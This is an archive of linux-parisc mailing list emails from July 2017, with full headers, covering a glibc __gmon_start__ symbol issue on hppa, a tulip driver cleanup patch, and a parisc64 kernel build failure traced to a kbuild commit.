X-Trace: blaine.gmane.org 1500409611 18648 195.159.176.226 (18 Jul 2017 20:26:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Jul 2017 20:26:51 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 18 22:26:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXZ4q-000414-OE
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Jul 2017 22:26:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752039AbdGRU0l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 16:26:41 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:47096 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752026AbdGRU0k (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 16:26:40 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170718202638.CQZA19720.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 18 Jul 2017 16:26:38 -0400
Original-Received: from [192.168.0.125] (really [69.156.6.177]) by torspm02.bell.net
          with ESMTP
          id <20170718202638.ZIEW7593.torspm02.bell.net@[192.168.0.125]>;
          Tue, 18 Jul 2017 16:26:38 -0400
In-Reply-To: <4158728.XctjvHHbYe@daneel.sf-tec.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=e4fpceh/ c=1 sm=0 tr=0 a=3ltiz+tVjlZyyvKV74jFzA==:17 a=N659UExz7-8A:10 a=G3gG6ho9WtcA:10 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=201c8epx5zRX69v7qyUA:9 a=pILNOxqGKmIA:10 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27571>

On 2017-07-18 3:39 PM, Rolf Eike Beer wrote:
> John David Anglin wrote:
>> On 2017-07-18 11:13 AM, Rolf Eike Beer wrote:
>>> Am 2017-07-18 16:32, schrieb John David Anglin:
>>>> On 2017-07-17 12:33 PM, John David Anglin wrote:
>>>>> I would like to know if the gentoo folks would consider fixing the
>>>>> __gmon_start__ bug:
>>>>> https://sourceware.org/bugzilla/show_bug.cgi?id=19170
>>>>>
>>>>> There is some risk in applying the patch as rebuilding a library
>>>>> package may break other
>>>>> packages which depend on the library.  This could break critical
>>>>> tools such as binutils and
>>>>> gcc.  In which case, some manual intervention may be needed.
>>>>> However, the transition
>>>>> on Debian went fairly smoothly.  As a result, we no longer have the
>>>>> external symbol
>>>>> __gmon_start exposed and we have correct library dependencies.
>>>>>
>>>>> The issues with _init referred to in the BZ report are fixed. It is
>>>>> now PIC; and PIE applications
>>>>> work on hppa thanks to Alan Modra.
>>>> Helge: we need to add PIE load address to the kernel TODO list if it's
>>>> not already there.
>>>>
>>>>> Although not ideal, we could keep the __gmon_start__ patch in Debian.
>>>> The other approach is to install the __gmon_start__ patch and let
>>>> gentoo revert it.  I'm starting
>>>> to think this is best.
>>> I don't think there will be a big problem for Gentoo to accept it, as
>>> long as there is a working upgrade path like "build glibc with flag
>>> -special-foo, rebuild system, remove flag and rebuild glibc again".
>>> And of course a hint in the release notes so it will be obvious to the
>>> packagers what they have to take care of. That flag thing is something
>>> that Gentoo probably can add to their build scripts, something that
>>> e.g. keeps the symbol in the lib without exporting it during linking,
>>> so it would be resolvable first and the reference goes away on
>>> rebuild. Or whatever ;)
>> I'm not sure you fully understand the issue.  It doesn't involve doing
>> anything special in building glibc.
>>
>> The issue is this code in glibc's crtn.S:
>>
>> /* Note that we cannot have a weak undefined __gmon_start__, because
>>      that would require this to be PIC, and the linker is currently not
>>      able to generate a proper procedure descriptor for _init.  Sad but
>>      true.  Anyway, HPPA is one of those horrible architectures where
>>      making the comparison and indirect call is quite expensive (see the
>>      comment in sysdeps/generic/initfini.c). */
>>           .text
>>           .align 4
>>           .weak   __gmon_start__
>>           .type    __gmon_start__,@function
>> __gmon_start__:
>>           .proc
>>           .callinfo
>>           .entry
>>           bv,n %r0(%r2)
>>           .exit
>>           .procend
>>
>> The above hunk of code results in a weak __gmon_start__ function in
>> every shared library.
>> The function needs to be removed.
>>
>> As can be seen, the function does nothing.  It is called once when a
>> shared library is loaded.
>>
>> In an application link, __gmon_start__ is resolved to one of the shared
>> libraries used by the application.
> So, this would be a problem if the application only links to glibc (and it's
> libraries), no? The problem is not rebuilding, Gentoo is actually totally
> about rebuilding your system every now and then ;) The point is: what must be
> done to have an upgrade path from the old glibc to the new one that will not
> break the system on the way.
It's not a problem for applications that only link against libc, but for 
other libraries.  I'm
not aware of any way to avoid some breakage other than retaining the old 
behavior.  The new
glibc doesn't break anything directly.  The breakage occurs when 
libraries are linked with
the new crt* files.

One could build up a minimal system in a chroot.  When you are sure that 
it works, then
these tools could be used to get past any breakage.  I don't know the 
gentoo build system
so I don't know how easy this would be.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: [PATCH] net: tulip: remove useless code in tulip_init_one()
Date: Tue, 18 Jul 2017 15:43:33 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20170718204333.GA12258@embeddedgus>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1500411909 13956 195.159.176.226 (18 Jul 2017 21:05:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Jul 2017 21:05:09 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
        "Gustavo A. R. Silva" <gustavo@embeddedor.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 18 23:05:05 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXZfx-0005sj-4k
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Jul 2017 23:05:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751500AbdGRVFG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 17:05:06 -0400
Original-Received: from gateway23.websitewelcome.com ([192.185.49.179]:41695 "EHLO
        gateway23.websitewelcome.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1751465AbdGRVFG (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 17:05:06 -0400
X-Greylist: delayed 1292 seconds by postgrey-1.27 at vger.kernel.org; Tue, 18 Jul 2017 17:05:06 EDT
Original-Received: from cm13.websitewelcome.com (cm13.websitewelcome.com [100.42.49.6])
        by gateway23.websitewelcome.com (Postfix) with ESMTP id EA6FE8023B
        for <linux-parisc@vger.kernel.org>; Tue, 18 Jul 2017 15:43:33 -0500 (CDT)
Original-Received: from gator4166.hostgator.com ([108.167.133.22])
        by cmsmtp with SMTP
        id XZNsdW1LAqI0vXZNsdtAS1; Tue, 18 Jul 2017 15:46:20 -0500
Original-Received: from [189.152.228.197] (port=55756 helo=embeddedgus)
        by gator4166.hostgator.com with esmtpa (Exim 4.87)
        (envelope-from <gustavo@embeddedor.com>)
        id 1dXZLB-000kda-MH; Tue, 18 Jul 2017 15:43:33 -0500
Content-Disposition: inline
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - gator4166.hostgator.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - embeddedor.com
X-BWhitelist: no
X-Source-IP: 189.152.228.197
X-Exim-ID: 1dXZLB-000kda-MH
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-Source-Sender: (embeddedgus) [189.152.228.197]:55756
X-Source-Auth: gustavo@embeddedor.com
X-Email-Count: 11
X-Source-Cap: Z3V6aWRpbmU7Z3V6aWRpbmU7Z2F0b3I0MTY2Lmhvc3RnYXRvci5jb20=
X-Local-Domain: yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27572 gmane.linux.network:480809 gmane.linux.kernel:2526702
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27572>

Remove useless local variable multiport_cnt and the code related.

Signed-off-by: Gustavo A. R. Silva <gustavo@embeddedor.com>
---
 drivers/net/ethernet/dec/tulip/tulip_core.c | 2 --
 1 file changed, 2 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/tulip_core.c b/drivers/net/ethernet/dec/tulip/tulip_core.c
index 17e566a..84394b4 100644
--- a/drivers/net/ethernet/dec/tulip/tulip_core.c
+++ b/drivers/net/ethernet/dec/tulip/tulip_core.c
@@ -1303,7 +1303,6 @@ static int tulip_init_one(struct pci_dev *pdev, const struct pci_device_id *ent)
 		0x00, 'L', 'i', 'n', 'u', 'x'
 	};
 	static int last_irq;
-	static int multiport_cnt;	/* For four-port boards w/one EEPROM */
 	int i, irq;
 	unsigned short sum;
 	unsigned char *ee_data;
@@ -1557,7 +1556,6 @@ static int tulip_init_one(struct pci_dev *pdev, const struct pci_device_id *ent)
 		} else if (ee_data[0] == 0xff  &&  ee_data[1] == 0xff &&
 				   ee_data[2] == 0) {
 			sa_offset = 2;		/* Grrr, damn Matrox boards. */
-			multiport_cnt = 4;
 		}
 #ifdef CONFIG_MIPS_COBALT
                if ((pdev->bus->number == 0) &&
-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc:generic-64bit_defconfig build failures due to 'kbuild: handle libs-y archives separately...'
Date: Tue, 18 Jul 2017 19:11:28 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <7751C468-68C3-439F-A270-469B47F22B1A@bell.net>
References: <20170718152125.GA15577@roeck-us.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500419497 15411 195.159.176.226 (18 Jul 2017 23:11:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Jul 2017 23:11:37 +0000 (UTC)
Cc: Nicholas Piggin <npiggin@gmail.com>, linux-kernel@vger.kernel.org,
        Masahiro Yamada <yamada.masahiro@socionext.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 19 01:11:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXbeJ-00058C-26
	for glpp-linux-parisc@m.gmane.org; Wed, 19 Jul 2017 01:11:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751962AbdGRXLc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 19:11:32 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:59025 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751505AbdGRXLc (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 19:11:32 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170718231128.QGNY1340.mtlfep02.bell.net@mtlspm01.bell.net>;
          Tue, 18 Jul 2017 19:11:28 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by mtlspm01.bell.net
          with ESMTP
          id <20170718231128.LKBP3891.mtlspm01.bell.net@[192.168.2.25]>;
          Tue, 18 Jul 2017 19:11:28 -0400
In-Reply-To: <20170718152125.GA15577@roeck-us.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=LoB98jVc c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=kj9zAlcOel0A:10 a=G3gG6ho9WtcA:10 a=VwQbUJbxAAAA:8 a=FBHGMhGWAAAA:8 a=l7z5CSEJu6BLBkAIgGUA:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=AjGcO6oz07-iQ99wixmX:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27573 gmane.linux.kernel:2526888
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27573>

On 2017-07-18, at 11:21 AM, Guenter Roeck wrote:

> Hi,
> 
> parisc64 builds, specifically generic-64bit_defconfig, fail to build
> in mainline as follows.


It's likely this patch fixes the problem:
https://patchwork.kernel.org/patch/9832033/

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicholas Piggin <npiggin@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc:generic-64bit_defconfig build failures due to 'kbuild:
 handle   libs-y archives separately...'
Date: Wed, 19 Jul 2017 12:01:06 +1000
Organization: IBM
Lines: 57
Approved: news@gmane.org
Message-ID: <20170719120106.54d6ad1f@roar.ozlabs.ibm.com>
References: <2eee9t3p9qmqow3xr998vi1a.1500415087874@email.android.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1500429683 12265 195.159.176.226 (19 Jul 2017 02:01:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 19 Jul 2017 02:01:23 +0000 (UTC)
Cc: Guenter Roeck <linux@roeck-us.net>, linux-kernel@vger.kernel.org,
        Masahiro Yamada <yamada.masahiro@socionext.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        kbuild test robot <fengguang.wu@intel.com>
To: Helge Deller <helge.deller@steuerkanzlei-deller.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 19 04:01:16 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXeIb-0007zE-Kq
	for glpp-linux-parisc@m.gmane.org; Wed, 19 Jul 2017 04:01:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752072AbdGSCBT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 22:01:19 -0400
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:35922 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751906AbdGSCBS (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 22:01:18 -0400
Original-Received: by mail-pf0-f194.google.com with SMTP id a11so4640561pfj.3;
        Tue, 18 Jul 2017 19:01:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:in-reply-to:references
         :organization:mime-version:content-transfer-encoding;
        bh=dxpOdw9HI8C+cUHVvbdnDwBSJLipXkloUVxgUk8c2pI=;
        b=jTUOfJIO26A1t8ZWQ9MRA/ZYgPqiu/u8NLUBVfCDsTqFZ5Wbx8DYszVEchbjWSKKYh
         N+H8KoMq1Ecb4raPo2Kwbv/mwPQT/Z5LaCgRieaZImQo/dsK3TuPYddkt/P+D8HNeOJN
         OMWkBaZxNJVeodPgpnrD/l8WumYQzq1aVI8H/F0qOFniYKoKAsF/Wb/0z2WGyM0NL8Ed
         pdC3Qvtr1Gy+Hab0OAhvQFX8commeEygVNpLK+UfaTnHWCXdjckLxtDNWEigOo3UdDmz
         2n65deQ0o/+zjlQjDEm5OAIRm3MHhDwmnk/l+MkUtOtXLdeRcGINfti1cTpLYw0uMuuu
         1CHw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:in-reply-to
         :references:organization:mime-version:content-transfer-encoding;
        bh=dxpOdw9HI8C+cUHVvbdnDwBSJLipXkloUVxgUk8c2pI=;
        b=Clme4KTBsWKQ9D6ih0fMIDQhweUQF9YC40JdHAYrdDen9QFWdPynzmwx++5nRKSPIj
         IzzfnVydkzzq41aTB+YZ/nttlyz+ebtnQ+YUZ3hhKXT2TwLEkaGqwUb6GY0TyT6Javzg
         EQ+lLaXOaG1iDEpSJyRXApSOurGmimFZd4gfoRBUN98uuPx21BDGqjBh7YFSPG1t7dye
         3qXrqMDp6eFS4QmlM4CeGgIYjEifFPl/kYRcxAPCIm6a74C0zcoOS3jdEFl3NWh+erpj
         UFYccz/EYZX0kTApkEnr6u1R6dMc9Kk5ZG+CRje/G+OHiR+Kc7c4+YOlfpn6uUQgHMnG
         OOUA==
X-Gm-Message-State: AIVw112lB4m275/Z+Q7POkJ8hDVI16cu6JdfVQdfzZ5AL7e2pd6/zaOm
        nG9sEBlknL9stA==
X-Received: by 10.98.57.4 with SMTP id g4mr510971pfa.155.1500429677863;
        Tue, 18 Jul 2017 19:01:17 -0700 (PDT)
Original-Received: from roar.ozlabs.ibm.com ([122.99.82.10])
        by smtp.gmail.com with ESMTPSA id p11sm8805479pfk.128.2017.07.18.19.01.13
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 18 Jul 2017 19:01:16 -0700 (PDT)
In-Reply-To: <2eee9t3p9qmqow3xr998vi1a.1500415087874@email.android.com>
X-Mailer: Claws Mail 3.14.1 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27574 gmane.linux.kernel:2526996
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27574>

On Tue, 18 Jul 2017 23:58:07 +0200
Helge Deller <helge.deller@steuerkanzlei-deller.de> wrote:

>     
> This outstanding patch will fix it:
> https://patchwork.kernel.org/patch/9832033/
> Helge 
> Von meinem Samsung Gerät gesendet.

Thanks for the quick fix. I'm not sure why 0day didn't catch it.
Does it build test parisc/generic-64bit_defconfig, I wonder?

Thanks,
Nick


> 
> -------- Ursprüngliche Nachricht --------
> Von: Guenter Roeck <linux@roeck-us.net> 
> Datum: 18.07.17  17:21  (GMT+01:00) 
> An: Nicholas Piggin <npiggin@gmail.com> 
> Cc: linux-kernel@vger.kernel.org, Masahiro Yamada <yamada.masahiro@socionext.com>, "James E.J. Bottomley" <jejb@parisc-linux.org>, Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org 
> Betreff: parisc:generic-64bit_defconfig build failures due to 'kbuild: handle
  libs-y archives separately...' 
> 
> Hi,
> 
> parisc64 builds, specifically generic-64bit_defconfig, fail to build
> in mainline as follows.
> 
> hppa64-linux-ld:
> hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o)(.text+0xec):
> cannot reach $$divU
> hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o):
> In function `__divdi3':
> libgcc2.c:(.text+0xec): relocation truncated to fit: R_PARISC_PCREL22F against
> symbol `$$divU' defined in .text.div section in
> hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divU.o)
> hppa64-linux-ld:
> hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o)(.text+0x150):
> cannot reach $$divU
> 
> [ and many more ]
> 
> This is after enabling CONFIG_MLONGCALLS; otherwise build failures are
> more severe.
> 
> Building with gcc 6.3.0 fails as well with the same error.
> 
> Bisect points to commit 3a166fc2d4ef ("kbuild: handle libs-y archives
> separately from built-in.o archives") as the culprit. Bisect log is
> attached.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: parisc:generic-64bit_defconfig build failures due to 'kbuild:
 handle   libs-y archives separately...'
Date: Wed, 19 Jul 2017 10:10:18 +0800
Lines: 55
Approved: news@gmane.org
Message-ID: <20170719021018.d7rqvtdpy7m4m5cz@wfg-t540p.sh.intel.com>
References: <2eee9t3p9qmqow3xr998vi1a.1500415087874@email.android.com>
 <20170719120106.54d6ad1f@roar.ozlabs.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1500430227 21296 195.159.176.226 (19 Jul 2017 02:10:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 19 Jul 2017 02:10:27 +0000 (UTC)
User-Agent: NeoMutt/20161104 (1.7.1)
Cc: Helge Deller <helge.deller@steuerkanzlei-deller.de>,
        Guenter Roeck <linux@roeck-us.net>,
        linux-kernel@vger.kernel.org,
        Masahiro Yamada <yamada.masahiro@socionext.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        Philip Li <philip.li@intel.com>,
        Ye Xiaolong <xiaolong.ye@intel.com>
To: Nicholas Piggin <npiggin@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 19 04:10:22 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dXeRR-0005Eg-3j
	for glk-linux-kernel-3@m.gmane.org; Wed, 19 Jul 2017 04:10:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752739AbdGSCKY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 18 Jul 2017 22:10:24 -0400
Original-Received: from mga14.intel.com ([192.55.52.115]:35074 "EHLO mga14.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752020AbdGSCKX (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 18 Jul 2017 22:10:23 -0400
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by fmsmga103.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 18 Jul 2017 19:10:22 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.40,379,1496127600"; 
   d="scan'208";a="994537916"
Original-Received: from xiaolia2-mobl1.ccr.corp.intel.com (HELO wfg-t540p.sh.intel.com) ([10.255.25.6])
  by orsmga003.jf.intel.com with ESMTP; 18 Jul 2017 19:10:19 -0700
Original-Received: from wfg by wfg-t540p.sh.intel.com with local (Exim 4.89)
        (envelope-from <fengguang.wu@intel.com>)
        id 1dXeRO-00076K-Ay; Wed, 19 Jul 2017 10:10:18 +0800
Content-Disposition: inline
In-Reply-To: <20170719120106.54d6ad1f@roar.ozlabs.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2527000 gmane.linux.ports.parisc:27575
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2527000>

On Wed, Jul 19, 2017 at 12:01:06PM +1000, Nicholas Piggin wrote:
>On Tue, 18 Jul 2017 23:58:07 +0200
>Helge Deller <helge.deller@steuerkanzlei-deller.de> wrote:
>
>>
>> This outstanding patch will fix it:
>> https://patchwork.kernel.org/patch/9832033/
>> Helge 
>> Von meinem Samsung Gerät gesendet.
>
>Thanks for the quick fix. I'm not sure why 0day didn't catch it.
>Does it build test parisc/generic-64bit_defconfig, I wonder?

We do test that config. I guess it's because the build servers are
under pressure recently. Philip/Xiaolong are looking at this issue.

Thanks,
Fengguang

>> -------- Ursprüngliche Nachricht --------
>> Von: Guenter Roeck <linux@roeck-us.net>
>> Datum: 18.07.17  17:21  (GMT+01:00)
>> An: Nicholas Piggin <npiggin@gmail.com>
>> Cc: linux-kernel@vger.kernel.org, Masahiro Yamada <yamada.masahiro@socionext.com>, "James E.J. Bottomley" <jejb@parisc-linux.org>, Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
>> Betreff: parisc:generic-64bit_defconfig build failures due to 'kbuild: handle
>  libs-y archives separately...'
>>
>> Hi,
>>
>> parisc64 builds, specifically generic-64bit_defconfig, fail to build
>> in mainline as follows.
>>
>> hppa64-linux-ld:
>> hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o)(.text+0xec):
>> cannot reach $$divU
>> hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o):
>> In function `__divdi3':
>> libgcc2.c:(.text+0xec): relocation truncated to fit: R_PARISC_PCREL22F against
>> symbol `$$divU' defined in .text.div section in
>> hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divU.o)
>> hppa64-linux-ld:
>> hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o)(.text+0x150):
>> cannot reach $$divU
>>
>> [ and many more ]
>>
>> This is after enabling CONFIG_MLONGCALLS; otherwise build failures are
>> more severe.
>>
>> Building with gcc 6.3.0 fails as well with the same error.
>>
>> Bisect points to commit 3a166fc2d4ef ("kbuild: handle libs-y archives
>> separately from built-in.o archives") as the culprit. Bisect log is
>> attached.


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Li, Philip" <philip.li@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: RE: parisc:generic-64bit_defconfig build failures due to 'kbuild:
 handle   libs-y archives separately...'
Date: Wed, 19 Jul 2017 02:45:07 +0000
Lines: 49
Approved: news@gmane.org
